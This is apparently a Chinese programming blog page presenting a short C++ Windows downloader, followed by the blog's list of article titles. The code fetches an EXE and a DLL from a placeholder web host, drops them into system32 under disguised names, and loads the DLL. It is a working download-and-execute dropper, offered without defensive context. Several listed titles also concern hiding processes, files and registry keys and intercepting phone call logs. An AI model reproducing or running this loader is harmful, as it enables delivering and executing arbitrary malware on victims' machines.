请见代码
~~~
#include "stdafx.h"
#include "windows.h"
#include "UrlMon.h"
#pragma comment(lib, "urlmon.lib")
bool FileIsExist(LPCTSTR szFileFullPathName)
{
WIN32_FIND_DATA Win32_Find_Data;
HANDLE hFindFile;
hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);
if(INVALID_HANDLE_VALUE == hFindFile)
{
//AfxMessageBox("Not Exist");
return false;
}
else
{
//AfxMessageBox("Have Exist");
FindClose(hFindFile);
return true;
}
}
int main(int argc, char* argv[])
{
char DownURL[255] = "http://www.domain.com/test.dll";
char DownLoadDir[255];
char ExeURL[255] = "http://www.domain.com/test.exe";
char ExeDir[255];
GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));
GetWindowsDirectory(ExeDir,sizeof(ExeDir));
strcat(DownLoadDir,"\\system32\\DLLtest.dll");
strcat(ExeDir,"\\system32\\MyLogin.dll");
URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);
Sleep(3000);
URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);
while(true)
{
if(FileIsExist(DownLoadDir) == true)
break;
else
Sleep(1000);
}
Sleep(3000);
LoadLibrary(DownLoadDir);
Sleep(10000);
return 0;
}
~~~
- 前言
- Visual Studio 11开发指南(1) Visual Studio 11简介与新特性
- Visual Studio 11开发指南(2) Visual Studio 11放弃宏处理
- Visual Studio 11开发指南(3)Visual Studio 11开发SharePoint 2011程序
- Visual Studio 11开发指南(4)Visual Studio 11编程语言发展
- Visual Studio 11开发指南(5)Visual Studio 11 IDE增强
- Visual Studio 11开发指南(6)Visual Studio 11平台改进
- Visual Studio 11开发指南(7)NET 4.5的改善
- Visual Studio 11开发指南(8)Visual C++ 11新特色
- Visual Studio 11开发指南(9)Visual C++ 新功能体验
- Visual Studio 11开发指南(10)Visual C++11 IDE 新功能体验
- Visual Studio 11开发指南(11)Visual Studio 11调试游戏
- Visual Studio 11开发指南(12)Visual Studio 11可视化多核多线程编程的行为
- Visual Studio 11开发指南(13)C++11语言新特性
- Visual Studio 11开发指南(14)C++11---C++/ CX设计
- Visual Studio 11开发指南(15)C++11单元测试
- Visual Studio 11开发指南(16)C++11更新-多线程和异步操作管理
- Visual Studio 11开发指南(17)C++11更新- Lambda表达式
- Visual Studio 11开发指南(18)C++11更新-自动矢量器使用
- Visual Studio 11开发指南(19)C++11更新-并行模式库和代理库
- 在 C++ 中使用 PPL 进行异步编程
- 基于VisualStudio11开发Windows8的Metro sample讲解(1)MessageBox
- Visual C++ 11 中新的并发功能
- 基于Windows8与Visual Studio2012开发内核隐藏注册表
- 基于VC++2012在Windows8上实现文件隐藏
- 实现诺基亚 lumia Windows phone 的手机通话记录截取
- 最短代码实现windows8下的下载器-下载安装执行一体化
- 用Visual studio2012在Windows8上开发内核驱动监视线程创建
- 用Visual studio2012在Windows8上开发内核驱动监视进程创建
- 基于Windows8与Visual Studio2012实现杀毒通用模块
- 用Visual studio2012在Windows8上开发内核中隐藏进程
- 用Visual studio11在Windows8上开发内核枚举注册表
- 用Visual studio11在Windows8上开发内核驱动隐藏注册表
- 用Visual studio11在Windows8上开发驱动实现注册表监控和过滤
- 用Visual studio11在Windows8上开发驱动实现内存填0杀进程
- 【CSDN2012年度博客之星】喜欢本博客的读者,投票赠送《visual C++2010开发权威指南》电子稿--感谢支持 ~(截至到2012年12月30日)
- 今天在清华图书馆看到我的杰作,感慨万千,而我要归零一切 !
- use Visual studio2012 developing kernel driver monitor thread creation on Windows8
- To kernel driver monitoring process developed in Windows8 create using Visual studio2012
- Under Windows8 kernel mode development NDIS application-NDIS Filter explain
- use Visual studio2012 development kernel to hidden process on Windows8